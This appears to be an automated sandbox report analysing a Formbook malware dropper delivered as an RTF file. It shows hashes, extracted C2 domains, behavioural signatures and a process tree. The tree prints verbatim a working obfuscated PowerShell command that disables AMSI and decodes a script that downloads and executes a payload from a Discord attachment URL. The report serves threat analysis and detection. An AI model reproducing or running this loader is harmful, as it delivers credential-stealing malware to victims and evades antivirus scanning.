Analysis
-
max time kernel
149s -
max time network
26s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
19-01-2021 07:24
Static task
static1
Behavioral task
behavioral1
Sample
TT Slip.doc.rtf
Resource
win7v20201028
Behavioral task
behavioral2
Sample
TT Slip.doc.rtf
Resource
win10v20201028
General
-
Target
TT Slip.doc.rtf
-
Size
1.5MB
-
MD5
1346939d66aaba35fc0b1038500acb57
-
SHA1
069163a5437a681d36bd28db647a3e09cc3c843f
-
SHA256
edff50baf76f61fd72952a9b613757729994ef745773d7b7ad67f352c302873d
-
SHA512
aa2df1c8216dea9b33044f9b06c7239d61ce9cde3ffe2a6399c5b4c02ad5603bdc4418e3c2630509e7ef19d884a66153cbbb4051633226684d9b52a7a8fdf6ac
Malware Config
Extracted
formbook
http://www.transparentpetcrate.com/lnb/
sauschwein.info
ywpntv.com
gironbeautysalon.online
cryptogeekstuff.com
leosrock.com
sistersv.space
ilss.life
vshuzi.com
europeanculinarymagic.com
mdtlalab.com
boletasenorden.com
eebushe11.com
sms8888.com
arrogantjerxs.com
aboudmotors.com
vzuels.com
searko.com
thathealthysoul.com
365wt38493984284.com
solarpanelsystemflorida.com
testdummylab.com
1728025.com
vrpreservation.com
reinadelosfrikis.com
questionmaze.com
standingstoneevents.com
achraflaabassi.com
austinsubarusouth.com
africa-pif.com
the-hidden-places.com
boobieneckpillow.com
dvisionz.com
charlottescaife.com
shahedahtextiles.com
celebratewithlawilliams.com
sochobadlo.com
soccervest.com
hqyc04.com
lovepeacejoygratitude.com
pamsphils.com
miaportfolio.site
bednhomes.com
centellagoodyear.com
trubluau.com
geraheselouine.com
elkinart.com
next-setup-file.xyz
rashiratan.xyz
memotrace.com
groupdating.club
netflx-updt78f.com
ramonaestudiocreativo.com
giveawayconsumers.xyz
toponeswap.com
bestiephone.com
lifeharness.com
bikerleatherz.com
property-pleasant.website
thediamondbydoron.com
gamesredar.club
tiresgreat.info
actevate.xyz
drblowers.com
nasosd.com
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
Powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1348 612 Powershell.exe -
Formbook Payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/1712-25-0x000000000041EBA0-mapping.dmp formbook behavioral1/memory/1712-24-0x0000000000400000-0x000000000042E000-memory.dmp formbook behavioral1/memory/1484-35-0x00000000000C0000-0x00000000000EE000-memory.dmp formbook -
Blocklisted process makes network request 4 IoCs
Processes:
Powershell.exeflow pid process 7 1348 Powershell.exe 9 1348 Powershell.exe 11 1348 Powershell.exe 13 1348 Powershell.exe -
Drops file in System32 directory 1 IoCs
Processes:
Powershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk Powershell.exe -
Suspicious use of SetThreadContext 4 IoCs
Processes:
Powershell.exenotepad.exeraserver.exedescription pid process target process PID 1348 set thread context of 1712 1348 Powershell.exe notepad.exe PID 1712 set thread context of 1216 1712 notepad.exe Explorer.EXE PID 1712 set thread context of 1216 1712 notepad.exe Explorer.EXE PID 1484 set thread context of 1216 1484 raserver.exe Explorer.EXE -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
-
Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1852 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 35 IoCs
Processes:
Powershell.exenotepad.exeraserver.exepid process 1348 Powershell.exe 1348 Powershell.exe 1348 Powershell.exe 1348 Powershell.exe 1348 Powershell.exe 1348 Powershell.exe 1348 Powershell.exe 1348 Powershell.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1484 raserver.exe 1484 raserver.exe 1484 raserver.exe 1484 raserver.exe 1484 raserver.exe 1484 raserver.exe 1484 raserver.exe 1484 raserver.exe 1484 raserver.exe 1484 raserver.exe 1484 raserver.exe 1484 raserver.exe 1484 raserver.exe 1484 raserver.exe 1484 raserver.exe 1484 raserver.exe 1484 raserver.exe 1484 raserver.exe 1484 raserver.exe 1484 raserver.exe 1484 raserver.exe 1484 raserver.exe 1484 raserver.exe 1484 raserver.exe -
Suspicious behavior: MapViewOfSection 6 IoCs
Processes:
notepad.exeraserver.exepid process 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1712 notepad.exe 1484 raserver.exe 1484 raserver.exe -
Suspicious use of AdjustPrivilegeToken 43 IoCs
Processes:
Powershell.exenotepad.exeraserver.exedescription pid process Token: SeDebugPrivilege 1348 Powershell.exe Token: SeIncreaseQuotaPrivilege 1348 Powershell.exe Token: SeSecurityPrivilege 1348 Powershell.exe Token: SeTakeOwnershipPrivilege 1348 Powershell.exe Token: SeLoadDriverPrivilege 1348 Powershell.exe Token: SeSystemProfilePrivilege 1348 Powershell.exe Token: SeSystemtimePrivilege 1348 Powershell.exe Token: SeProfSingleProcessPrivilege 1348 Powershell.exe Token: SeIncBasePriorityPrivilege 1348 Powershell.exe Token: SeCreatePagefilePrivilege 1348 Powershell.exe Token: SeBackupPrivilege 1348 Powershell.exe Token: SeRestorePrivilege 1348 Powershell.exe Token: SeShutdownPrivilege 1348 Powershell.exe Token: SeDebugPrivilege 1348 Powershell.exe Token: SeSystemEnvironmentPrivilege 1348 Powershell.exe Token: SeRemoteShutdownPrivilege 1348 Powershell.exe Token: SeUndockPrivilege 1348 Powershell.exe Token: SeManageVolumePrivilege 1348 Powershell.exe Token: 33 1348 Powershell.exe Token: 34 1348 Powershell.exe Token: 35 1348 Powershell.exe Token: SeIncreaseQuotaPrivilege 1348 Powershell.exe Token: SeSecurityPrivilege 1348 Powershell.exe Token: SeTakeOwnershipPrivilege 1348 Powershell.exe Token: SeLoadDriverPrivilege 1348 Powershell.exe Token: SeSystemProfilePrivilege 1348 Powershell.exe Token: SeSystemtimePrivilege 1348 Powershell.exe Token: SeProfSingleProcessPrivilege 1348 Powershell.exe Token: SeIncBasePriorityPrivilege 1348 Powershell.exe Token: SeCreatePagefilePrivilege 1348 Powershell.exe Token: SeBackupPrivilege 1348 Powershell.exe Token: SeRestorePrivilege 1348 Powershell.exe Token: SeShutdownPrivilege 1348 Powershell.exe Token: SeDebugPrivilege 1348 Powershell.exe Token: SeSystemEnvironmentPrivilege 1348 Powershell.exe Token: SeRemoteShutdownPrivilege 1348 Powershell.exe Token: SeUndockPrivilege 1348 Powershell.exe Token: SeManageVolumePrivilege 1348 Powershell.exe Token: 33 1348 Powershell.exe Token: 34 1348 Powershell.exe Token: 35 1348 Powershell.exe Token: SeDebugPrivilege 1712 notepad.exe Token: SeDebugPrivilege 1484 raserver.exe -
Suspicious use of FindShellTrayWindow 4 IoCs
Processes:
Explorer.EXEpid process 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE -
Suspicious use of SendNotifyMessage 4 IoCs
Processes:
Explorer.EXEpid process 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 1852 WINWORD.EXE 1852 WINWORD.EXE -
Suspicious use of WriteProcessMemory 23 IoCs
Processes:
EQNEDT32.EXECmD.exePowershell.exeExplorer.EXEraserver.exedescription pid process target process PID 1840 wrote to memory of 1700 1840 EQNEDT32.EXE CmD.exe PID 1840 wrote to memory of 1700 1840 EQNEDT32.EXE CmD.exe PID 1840 wrote to memory of 1700 1840 EQNEDT32.EXE CmD.exe PID 1840 wrote to memory of 1700 1840 EQNEDT32.EXE CmD.exe PID 1700 wrote to memory of 1568 1700 CmD.exe cscript.exe PID 1700 wrote to memory of 1568 1700 CmD.exe cscript.exe PID 1700 wrote to memory of 1568 1700 CmD.exe cscript.exe PID 1700 wrote to memory of 1568 1700 CmD.exe cscript.exe PID 1348 wrote to memory of 1712 1348 Powershell.exe notepad.exe PID 1348 wrote to memory of 1712 1348 Powershell.exe notepad.exe PID 1348 wrote to memory of 1712 1348 Powershell.exe notepad.exe PID 1348 wrote to memory of 1712 1348 Powershell.exe notepad.exe PID 1348 wrote to memory of 1712 1348 Powershell.exe notepad.exe PID 1348 wrote to memory of 1712 1348 Powershell.exe notepad.exe PID 1348 wrote to memory of 1712 1348 Powershell.exe notepad.exe PID 1216 wrote to memory of 1484 1216 Explorer.EXE raserver.exe PID 1216 wrote to memory of 1484 1216 Explorer.EXE raserver.exe PID 1216 wrote to memory of 1484 1216 Explorer.EXE raserver.exe PID 1216 wrote to memory of 1484 1216 Explorer.EXE raserver.exe PID 1484 wrote to memory of 1600 1484 raserver.exe cmd.exe PID 1484 wrote to memory of 1600 1484 raserver.exe cmd.exe PID 1484 wrote to memory of 1600 1484 raserver.exe cmd.exe PID 1484 wrote to memory of 1600 1484 raserver.exe cmd.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\TT Slip.doc.rtf"2⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\raserver.exe"C:\Windows\SysWOW64\raserver.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\WINDOWS\syswow64\notepad.exe"3⤵
-
C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding1⤵
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\CmD.exeCmD.exe /C cscript %tmp%\Client.vbs AC2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cscript.execscript C:\Users\Admin\AppData\Local\Temp\Client.vbs AC3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell $8B0111F552=[Ref].Assembly.GetType('Sy'+'stem.'+'Mana'+'gem'+'ent'+'.Autom'+'atio'+'n.A'+'m'+'si'+'Utils');$835FFE1926='4456625220575263174452554847';$9FE0AD5C66=[string](0..13|%{[char][int](53+($835FFE1926).substring(($_*2),2))})-replace ' ';$58FB808063=$8B0111F552.GetField($9FE0AD5C66,'Non^^^'.replace('^^^','Pub')+'lic,S'+'tatic');$58FB808063.SetValue($null,$true);($A72F9B815A=$A72F9B815A=Write-Host 'EC4AAB5808223EB722F9C2063ED056665AA80AC5658F9D06815720759C3EB4C4B7065724C3DEFA63DEB58FC3FA9D22121674');$8006132805152276888006132805152276888006132805152276885443=@(91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,39,83,121,39,43,39,115,116,101,109,46,39,43,39,77,97,110,97,39,43,39,103,101,109,39,43,39,101,110,116,39,43,39,46,65,117,116,111,109,39,43,39,97,116,105,111,39,43,39,110,46,39,43,36,40,91,67,72,65,114,93,40,57,56,45,51,51,41,43,91,99,72,65,114,93,40,49,50,52,45,49,53,41,43,91,99,104,65,82,93,40,49,49,53,41,43,91,67,72,97,82,93,40,91,66,89,116,101,93,48,120,54,57,41,41,43,39,85,116,105,108,115,39,41,46,71,101,116,70,105,101,108,100,40,36,40,91,67,104,65,114,93,40,91,98,121,116,101,93,48,120,54,49,41,43,91,99,104,97,82,93,40,91,98,89,116,69,93,48,120,54,68,41,43,91,99,104,97,114,93,40,91,98,121,84,101,93,48,120,55,51,41,43,91,99,104,65,114,93,40,49,49,48,45,53,41,43,91,99,104,65,82,93,40,91,66,89,84,69,93,48,120,52,57,41,43,91,99,72,97,82,93,40,57,54,56,48,47,56,56,41,43,91,99,72,97,82,93,40,49,48,53,41,43,91,67,104,97,114,93,40,91,98,89,116,101,93,48,120,55,52,41,43,91,67,104,97,114,93,40,91,66,89,84,69,93,48,120,52,54,41,43,91,99,104,97,114,93,40,49,52,56,45,53,49,41,43,91,99,72,65,82,93,40,57,53,53,53,47,57,49,41,43,91,67,104,65,82,93,40,49,48,56,41,43,91,67,104,65,114,93,40,54,50,54,50,47,54,50,41,43,91,67,104,65,82,93,40,91,98,89,84,69,93,48,120,54,52,41,41,44,39,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,39,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,36,116,114,117,101,41,59,40,36,49,68,55,56,53,70,50,56,53,67,61,36,49,68,55,56,53,70,50,56,53,67,61,87,114,105,116,101,45,72,111,115,116,32,39,69,67,52,65,65,66,53,56,48,56,50,50,51,69,66,55,50,50,70,57,67,50,48,54,51,69,68,48,53,54,54,54,53,65,65,56,48,65,67,53,54,53,56,70,57,68,48,54,56,49,53,55,50,48,55,53,57,67,51,69,66,52,67,52,66,55,48,54,53,55,50,52,67,51,68,69,70,65,54,51,68,69,66,53,56,70,67,51,70,65,57,68,50,50,49,50,49,54,55,52,39,41,59,100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103,108,101,46,99,111,109,32,45,99,111,117,110,116,32,49,32,45,81,117,105,101,116,125,32,117,110,116,105,108,32,40,36,112,105,110,103,41,59,36,66,54,55,54,56,48,65,69,49,54,32,61,32,91,69,110,117,109,93,58,58,84,111,79,98,106,101,99,116,40,91,83,121,115,116,101,109,46,78,101,116,46,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,84,121,112,101,93,44,32,51,48,55,50,41,59,91,83,121,115,116,101,109,46,78,101,116,46,83,101,114,118,105,99,101,80,111,105,110,116,77,97,110,97,103,101,114,93,58,58,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,32,61,32,36,66,54,55,54,56,48,65,69,49,54,59,36,69,55,68,69,65,56,68,66,48,51,61,32,78,101,119,45,79,98,106,101,99,116,32,45,67,111,109,32,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,59,36,69,55,68,69,65,56,68,66,48,51,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,116,112,115,58,47,47,99,100,110,46,100,105,115,99,111,114,100,97,112,112,46,99,111,109,47,97,116,116,97,99,104,109,101,110,116,115,47,56,48,48,52,52,49,57,49,49,51,50,55,52,53,55,51,48,49,47,56,48,48,54,49,51,50,56,48,53,49,53,50,50,55,54,56,56,47,101,114,97,46,106,112,103,39,44,36,102,97,108,115,101,41,59,36,69,55,68,69,65,56,68,66,48,51,46,115,101,110,100,40,41,59,36,54,55,52,69,49,54,53,67,56,51,61,91,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,39,85,84,70,56,39,46,39,71,101,116,83,116,114,105,110,103,39,40,91,67,111,110,118,101,114,116,93,58,58,39,70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103,39,40,36,69,55,68,69,65,56,68,66,48,51,46,114,101,115,112,111,110,115,101,84,101,120,116,41,41,124,73,96,69,96,88);[System.Text.Encoding]::ASCII.GetString($8006132805152276888006132805152276888006132805152276885443)|I`E`X1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\WINDOWS\syswow64\notepad.exe"{path}"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\Client.vbsMD5
bd033990ee0e8ce0b7d445615daaca63
SHA19b94d37fb98da1cc87e36f5d278b0189de5d3a4f
SHA2569695adaf56aeed0b7c13fccb5a97f7fc0d6af1c0fdb8c5b99c5838c8f48a8494
SHA51293e1941206b2fa2c51ba939a5133115d35d8f0d22063cc6dd7c0322c115ab0fd2ab1d98d9d29c8626d52f1bcf2b417233b04dfc0ed4ee7d242158eb87e422a29
-
memory/1216-31-0x0000000004DB0000-0x0000000004EC6000-memory.dmpFilesize
1.1MB
-
memory/1216-29-0x0000000004C40000-0x0000000004DA7000-memory.dmpFilesize
1.4MB
-
memory/1348-19-0x000000001B480000-0x000000001B481000-memory.dmpFilesize
4KB
-
memory/1348-18-0x0000000001FF0000-0x0000000001FF1000-memory.dmpFilesize
4KB
-
memory/1348-20-0x000000001B5F0000-0x000000001B5F1000-memory.dmpFilesize
4KB
-
memory/1348-21-0x000000001AB5A000-0x000000001AB79000-memory.dmpFilesize
124KB
-
memory/1348-23-0x000000001C980000-0x000000001C9C5000-memory.dmpFilesize
276KB
-
memory/1348-11-0x000007FEFBE81000-0x000007FEFBE83000-memory.dmpFilesize
8KB
-
memory/1348-12-0x000007FEF5500000-0x000007FEF5EEC000-memory.dmpFilesize
9.9MB
-
memory/1348-14-0x000000001ABD0000-0x000000001ABD1000-memory.dmpFilesize
4KB
-
memory/1348-13-0x0000000001F20000-0x0000000001F21000-memory.dmpFilesize
4KB
-
memory/1348-15-0x000000001AB50000-0x000000001AB52000-memory.dmpFilesize
8KB
-
memory/1348-17-0x00000000024D0000-0x00000000024D1000-memory.dmpFilesize
4KB
-
memory/1348-16-0x000000001AB54000-0x000000001AB56000-memory.dmpFilesize
8KB
-
memory/1484-38-0x0000000000490000-0x0000000000523000-memory.dmpFilesize
588KB
-
memory/1484-32-0x0000000000000000-mapping.dmp
-
memory/1484-37-0x0000000001EC0000-0x00000000021C3000-memory.dmpFilesize
3.0MB
-
memory/1484-35-0x00000000000C0000-0x00000000000EE000-memory.dmpFilesize
184KB
-
memory/1484-34-0x0000000000910000-0x000000000092C000-memory.dmpFilesize
112KB
-
memory/1568-10-0x0000000002550000-0x0000000002554000-memory.dmpFilesize
16KB
-
memory/1568-7-0x0000000000000000-mapping.dmp
-
memory/1600-36-0x0000000000000000-mapping.dmp
-
memory/1672-22-0x000007FEF77D0000-0x000007FEF7A4A000-memory.dmpFilesize
2.5MB
-
memory/1700-6-0x0000000000000000-mapping.dmp
-
memory/1712-28-0x0000000000280000-0x0000000000294000-memory.dmpFilesize
80KB
-
memory/1712-30-0x00000000003D0000-0x00000000003E4000-memory.dmpFilesize
80KB
-
memory/1712-25-0x000000000041EBA0-mapping.dmp
-
memory/1712-27-0x00000000008A0000-0x0000000000BA3000-memory.dmpFilesize
3.0MB
-
memory/1712-24-0x0000000000400000-0x000000000042E000-memory.dmpFilesize
184KB
-
memory/1840-5-0x00000000756C1000-0x00000000756C3000-memory.dmpFilesize
8KB
-
memory/1852-3-0x0000000070401000-0x0000000070403000-memory.dmpFilesize
8KB
-
memory/1852-2-0x0000000072981000-0x0000000072984000-memory.dmpFilesize
12KB
-
memory/1852-4-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB